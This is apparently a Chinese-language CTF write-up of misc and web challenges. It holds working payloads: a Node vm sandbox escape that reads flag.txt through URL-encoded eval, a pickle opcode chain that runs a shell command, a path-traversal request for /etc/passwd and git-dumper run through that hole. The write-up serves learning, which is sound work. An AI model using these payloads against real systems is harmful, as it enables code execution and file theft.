最近忙着写平台,比赛就捎带看看题学习学习,上周末就摸了摸看了看题,前面的都挺简单的,随便记录一下。这就是美国高中生吗,题目确实新颖,该难得也不简单。
MISC
Sanity Check
签到
Interwebz
nc获得flag
Confetti
多个png叠加,直接010找到最后一个png头,前面的全删就行了。
amongus
一堆文件名,直接按照时间排序,交最后一个就行了。
Shark 1
追踪流获取flag
Shark 2
追踪流提取图片获得flag
CaaSio PSE
刚开始给我整一愣,但是后来仔细看了下, 不过是把nodejs的沙箱考点换成了nc的方式。。。
分析代码
#!/usr/local/bin/node
// flag in ./flag.txt
const vm = require("vm");
const readline = require("readline");
const interface = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
interface.question(
"Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
function (input) {
interface.close();
if (
input.length < 215 &&
/^[\x20-\x7e]+$/.test(input) &&
!/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
!input.toLowerCase().includes("import")
) {
try {
const val = vm.runInNewContext(input, {});
console.log("Result:");
console.log(val);
console.log(
"See, isn't the calculator so much nicer when you're not trying to hack it?"
);
} catch (e) {
console.log("your tried");
}
} else {
console.log(
"Third time really is the charm! I've finally created an unhackable system!"
);
}
}
);
很明显的沙箱考点,不过唯一搞人的就是着b正则过滤了不少,但是仔细看看其实也不多,百分号没绕过,,,,
一眼丁真进行url绕过。
参考文章:(50条消息) mongo-express 远程代码执行漏洞分析_合天网安实验室的博客-CSDN博客
直接把
this.constructor.constructor('return process.mainModule.require(`fs`).readFileSync(`./flag.txt`).toString()
拿过来用,当然直接思路直接是利用url编码,出现url就可以绕过前面的正则,但是打进去的话由于不是web服务,这里url的编码无法直接解析,需要用decodeURIComponent来进行解码。
然后在正则这里转换的话前面会有个/,后面也有个/,所以这里通过添加一个/\n来绕过这个就行了。
最后加eval嗯造
最终poc
eval(decodeURIComponent(/%2F%0Athis%2Econstructor%2Econstructor(%27return%20process%2EmainModule%2Erequire(%60fs%60)%2EreadFileSync(%60%2E%2Fflag%2Etxt%60)%2EtoString()%27)()%0A%2F/))
Kevin Higgs
经典pickle了,老外就是很喜欢pickle,常见类型题目了属于是。
开始看下代码吧
#!/usr/local/bin/python3
import pickle
import io
import sys
module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "empty" and name.count(".") <= 1:
return super().find_class(module, name)
raise pickle.UnpicklingError("e-legal")
lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
print("your pickle is too large for my taste >:(")
else:
SafeUnpickler(io.BytesIO(lepickle)).load()
当然这题我没做出来,不过还是学到了很多东西,这里放个文章做来参考
pickle反序列化初探 – 先知社区 (aliyun.com)
根据基本思路就是要构筑empty作为基础的module,归根结底要满足find_class的条件,其次就是要保证name.count(“.”) <= 1。这就是其基本思想,
当然以前没接触过pickle反序列化,那么学习了一些后感觉最终rce的一个思路我个人觉得是比较像ssti那种不断地寻找继承链一样,然后根据opcode来手写poc,编译好exp实现rce即可
这里贴一下空白他们的poc,赛后在discord白嫖到的;),学到很多并表示看不懂
lepickle = b'''\x80\x04cempty
empty
}V__name__
cempty
__class__.__base__
sbcempty
empty
}V__name__
cempty
__name__.__subclasses__
(tRsbcempty
empty
}V__name__
cempty
__name__.__getitem__
(I138
tRsbcempty
empty
}V__name__
cempty
__name__.__init__
sbcempty
empty
}V__name__
cempty
__name__.__globals__
sbcempty
empty
}V__name__
cempty
__name__.get
(Vsystem
tRsbcempty
__name__
(Vcat /flag.txt
tR.'''.hex()
print(lepickle)
WEB
就喜欢跟你们node题目说话
The Flash
f12对网站下断点就行了,有点意思
Auth Skip
const express = require("express");
const path = require("path");
const cookieParser = require("cookie-parser");
const app = express();
const port = Number(process.env.PORT) || 8080;
const flag = process.env.FLAG || "actf{placeholder_flag}";
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.post("/login", (req, res) => {
if (
req.body.username !== "admin" ||
req.body.password !== Math.random().toString()
) {
res.status(401).type("text/plain").send("incorrect login");
} else {
res.cookie("user", "admin");
res.redirect("/");
}
});
app.get("/", (req, res) => {
if (req.cookies.user === "admin") {
res.type("text/plain").send(flag);
} else {
res.sendFile(path.join(__dirname, "index.html"));
}
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
给了源码,直接给个cookie,user= admin就行了
crumbs
const express = require("express");
const crypto = require("crypto");
const app = express();
const port = Number(process.env.PORT) || 8080;
const flag = process.env.FLAG || "actf{placeholder_flag}";
const paths = {};
let curr = crypto.randomUUID();
let first = curr;
for (let i = 0; i < 1000; ++i) {
paths[curr] = crypto.randomUUID();
curr = paths[curr];
}
paths[curr] = "flag";
app.use(express.urlencoded({ extended: false }));
app.get("/:slug", (req, res) => {
if (paths[req.params.slug] === "flag") {
res.status(200).type("text/plain").send(flag);
} else if (paths[req.params.slug]) {
res.status(200)
.type("text/plain")
.send(`Go to ${paths[req.params.slug]}`);
} else {
res.status(200).type("text/plain").send("Broke the trail of crumbs...");
}
});
app.get("/", (req, res) => {
res.status(200).type("text/plain").send(`Go to ${first}`);
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
直接上exp
import requests
url = "https://crumbs.web.actf.co/"
path = ""
for i in range(0,999999):
res = requests.get(url + path)
text = res.text
print(res.text)
path = text.replace("Go to ", "")
Art Gallery
const express = require('express');
const path = require("path");
const app = express();
const port = Number(process.env.PORT) || 8080;
app.get("/gallery", (req, res) => {
res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
res.sendFile(path.join(__dirname, "error.html"))
});
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
代码没啥好说的,,就是一个路径拼接访问,,
网站试了试,存在任意文件下载的问题
https://art-gallery.web.actf.co/gallery?member=../../etc/passwd
,不过简单找了找没找到flag,就随便的fuzz了一下,猜测可能是/.git泄露
这实在是太酷了
githacker跑一哈
可惜没啥东西,.git也没下来,不能恢复历史,估摸着githack不太行,搜了一下找到个git-dumper的工具
python3 .\git_dumper.py https://art-gallery.web.actf.co/gallery?member=../.git/HEAD out
这下git文件下来了,可以进一步操作了
git log一下
然后就可以看见flag.txt了
剩下的就没没怎么看了,就做了这些,摸了hh